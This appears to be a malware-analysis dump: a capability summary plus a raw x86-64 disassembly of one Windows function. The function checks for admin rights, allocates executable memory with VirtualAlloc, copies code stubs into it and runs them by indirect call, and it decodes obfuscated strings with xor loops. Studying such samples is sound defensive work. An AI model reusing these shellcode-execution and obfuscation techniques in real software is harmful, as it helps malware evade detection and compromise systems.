Function at 0x1401f0480
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1c8]
sub rsp, 0x2a0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
mov rax, qword [0x1402af028]
xor rax, rsp
mov qword [rbp + 0x128], rax
mov rbx, rcx
xor r15d, r15d
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
lea rax, [rbp + 0x1c8]
movabs rdi, 0xff00ff00ff00ff00
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0x100], rax
mov r13, qword [rax]
xor r13, rdi
mov qword [rbp + 0xf0], r13
mov qword [rax], r15
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1401f06ab
cmp qword [rbx + 0x18], 0x10
jb 0x1401f0535
mov rbx, qword [rbx]
mov qword [rsp + 0x20], rbx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x30], xmm0
lea r12, [rbp + 0x1c8]
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], r12
mov r15, qword [r12]
xor r15, rdi
mov qword [rbp + 0x30], r15
mov qword [r12], rax
xor ecx, ecx
lea r14, [0x140246350]
lea rbx, [0x140000000]
mov rax, qword [0x1402b6830]
test rax, rax
je 0x1401f05a9
xor edx, edx
nop
cmp rax, r14
je 0x1401f0598
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2b6830]
test rax, rax
jne 0x1401f0580
jmp 0x1401f05a9
mov r8, qword [rbx + rdx*8 + 0x2b4b80]
test r8, r8
jne 0x1401f068f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401f066e
mov rax, r14
mov rcx, r8
mov esi, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x1401f05e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402b1e40]
mov qword [rbx + rax*8 + 0x2b6830], r14
mov qword [rbx + rax*8 + 0x2b4b80], r8
inc rax
mov qword [0x1402b1e40], rax
lea rdx, [rsp + 0x20]
lea rcx, [0x1401ee790]
call r8
nop
xor r15, rdi
mov qword [r12], r15
jmp 0x1401f2504
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.1401ebff0
nop
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.1401eebc0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea r14, [rbp + 0x1c8]
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], r14
mov rsi, qword [r14]
mov rax, rsi
xor rax, rdi
mov qword [rbp + 0x30], rax
mov qword [r14], r15
xor eax, eax
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rax
lea rcx, [rbp + 0x70]
call fcn.140240f80
nop
mov r8, rbx
cmp qword [rbx + 0x18], 8
jb 0x1401f073b
mov r8, qword [rbx]
mov rax, qword [rbx + 0x10]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x70]
call fcn.140243bf0
nop
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rbp + 0x70], rax
lea rcx, [rbp + 0xb0]
call fcn.140243eb0
lea rcx, [rbp + 0x90]
call fcn.140244140
mov rcx, qword [rbp + 0x88]
test rcx, rcx
je 0x1401f07a0
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1401f07a0
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov qword [r14], rsi
lea rcx, [rbp - 0x10]
call fcn.140243eb0
nop
lea rcx, [rbp + 0x10]
call fcn.140243eb0
movups xmm0, xmmword [str.7_.k_6_2yy]
movups xmmword [rsp + 0x28], xmm0
movups xmm1, xmmword [0x1402998a8]
movups xmmword [rsp + 0x38], xmm1
movups xmm0, xmmword [0x1402998b8]
movups xmmword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1402998c8]
movsd qword [rsp + 0x58], xmm0
mov eax, dword [0x1402998d0]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1402998d4]
mov word [rsp + 0x64], ax
movzx eax, byte [0x1402998d6]
mov byte [rsp + 0x66], al
mov r9d, r15d
mov eax, 6
lea ecx, [rax + 0x19]
mov r12d, dword [0x1402af008]
cmp r12d, 2
jl 0x1401f0a37
movdqa xmm10, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d8a0]
movd xmm7, eax
movdqa xmm8, xmmword [0x14029d890]
movdqa xmm11, xmmword [0x14029d7d0]
movd xmm9, ecx
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm0, xmmword [str.EEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFO]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rsp + 0x2c]
mov edx, dword [rbp + 0x30]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x1401f0870
cmp r9d, 0x3f
jge 0x1401f0aa2
movsxd rax, r9d
lea r10, [rsp + 0x28]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x45
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x1401f0a50
lea rax, [rsp + 0x28]
mov qword [rsp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rax, [rbp + 0x1c8]
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rax
mov r14, qword [rax]
xor r14, rdi
mov qword [rbp + 0x30], r14
mov qword [rax], r15
mov ecx, r15d
mov esi, 3
lea rbx, [0x140000000]
lea r8, [0x140246350]
mov rax, qword [0x1402b38b0]
test rax, rax
je 0x1401f0b1d
mov rdx, r15
cmp rax, r8
je 0x1401f0b0c
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2b38b0]
test rax, rax
jne 0x1401f0af4
jmp 0x1401f0b1d
mov r8, qword [rbx + rdx*8 + 0x2b2f40]
test r8, r8
jne 0x1401f0c07
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401f0b44
mov r8, r15
jmp 0x1401f0bdf
lea rax, [0x140246350]
mov rcx, r8
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f0b51
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402b28c0]
lea rcx, [0x140246350]
mov qword [rbx + rax*8 + 0x2b38b0], rcx
mov qword [rbx + rax*8 + 0x2b2f40], r8
inc rax
mov qword [0x1402b28c0], rax
lea rdx, [rsp + 0x20]
lea rcx, [0x1401ee790]
call r8
nop
mov dword [rsp + 0x20], 0x96
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rax, [rbp + 0x1c8]
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x30], r14
mov qword [rax], r15
mov ecx, r15d
lea r8, [0x140246380]
mov rax, qword [0x1402b3260]
test rax, rax
je 0x1401f0c7e
mov rdx, r15
cmp rax, r8
je 0x1401f0c6d
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2b3260]
test rax, rax
jne 0x1401f0c55
jmp 0x1401f0c7e
mov r8, qword [rbx + rdx*8 + 0x2b5860]
test r8, r8
jne 0x1401f0d68
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401f0ca5
mov r8, r15
jmp 0x1401f0d40
lea rax, [0x140246380]
mov rcx, r8
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f0cb2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402b3bd0]
lea rcx, [0x140246380]
mov qword [rbx + rax*8 + 0x2b3260], rcx
mov qword [rbx + rax*8 + 0x2b5860], r8
inc rax
mov qword [0x1402b3bd0], rax
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor r14, rdi
lea rax, [rbp + 0x1c8]
mov qword [rax], r14
movups xmm0, xmmword [str.ggf_miq_00y:9_AA___22___27__]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14029c740]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14029c750]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14029c760]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14029c770]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x14029c780]
movups xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [0x14029c790]
movups xmmword [rbp - 0x30], xmm0
movsd xmm0, qword [0x14029c7a0]
movsd qword [rbp - 0x20], xmm0
movzx eax, byte [0x14029c7a8]
mov byte [rbp - 0x18], al
mov r9d, r15d
cmp r12d, 2
jl 0x1401f1017
movdqa xmm10, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d8a0]
mov r8d, 6
movd xmm7, r8d
movdqa xmm8, xmmword [0x14029d890]
movdqa xmm11, xmmword [0x14029d7d0]
mov r10d, 0x1f
movd xmm9, r10d
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm0, xmmword [str.EEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFO]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp + 0x30]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x78
jl 0x1401f0e50
cmp r9d, 0x79
jge 0x1401f108c
movsxd rax, r9d
lea r10, [rsp + 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x45
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x79
jl 0x1401f1030
mov r8d, 6
lea r10d, [r8 + 0x19]
movups xmm0, xmmword [str.7_.k_5sw]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x14029a200]
movups xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [0x14029a210]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [0x14029a220]
movups xmmword [rbp + 0xa0], xmm1
movups xmm0, xmmword [0x14029a230]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x14029a240]
movups xmmword [rbp + 0xc0], xmm1
movsd xmm0, qword [0x14029a250]
movsd qword [rbp + 0xd0], xmm0
movzx eax, word [0x14029a258]
mov word [rbp + 0xd8], ax
movzx eax, byte [0x14029a25a]
mov byte [rbp + 0xda], al
mov r9d, r15d
cmp r12d, 2
jl 0x1401f1327
movdqa xmm10, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d8a0]
movd xmm7, r8d
movdqa xmm8, xmmword [0x14029d890]
movdqa xmm11, xmmword [0x14029d8b0]
movd xmm9, r10d
movdqa xmm12, xmmword [0x14029d7d0]
movdqa xmm0, xmmword [str.EEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFO]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x74]
mov edx, dword [rbp + 0x30]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm7
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x68
jl 0x1401f1160
cmp r9d, 0x6b
jge 0x1401f1392
movsxd rax, r9d
lea r10, [rbp + 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x45
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x6b
jl 0x1401f1340
lea r8, [rbp + 0x108]
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x28]
call fcn.1402464e0
nop
lea rcx, [rsp + 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rcx + r8], 0
jne 0x1401f13b4
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.140242550
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rax, qword [rbp + 0x50]
mov qword [rsp + 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rax, [rbp + 0x1c8]
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rax
mov r15, qword [rax]
xor r15, rdi
mov qword [rbp + 0x30], r15
mov qword [rax], 0
xor ecx, ecx
lea r14, [0x140246350]
mov rax, qword [0x1402b6830]
test rax, rax
je 0x1401f1479
xor edx, edx
nop dword [rax]
cmp rax, r14
je 0x1401f1468
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2b6830]
test rax, rax
jne 0x1401f1450
jmp 0x1401f1479
mov r8, qword [rbx + rdx*8 + 0x2b4b80]
test r8, r8
jne 0x1401f155f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401f153e
mov rax, r14
mov rcx, r8
mov rdx, rsi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f14b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402b1e40]
mov qword [rbx + rax*8 + 0x2b6830], r14
mov qword [rbx + rax*8 + 0x2b4b80], r8
inc rax
mov qword [0x1402b1e40], rax
lea rdx, [rsp + 0x20]
lea rcx, [0x1401ee790]
call r8
nop
xor r15, rdi
lea rax, [rbp + 0x1c8]
mov qword [rax], r15
lea rcx, [rbp + 0x50]
call fcn.140244140
nop
lea rcx, [rsp + 0x28]
call fcn.140244140
mov dword [rsp + 0x20], 0x96
xorps xmm0, xmm0
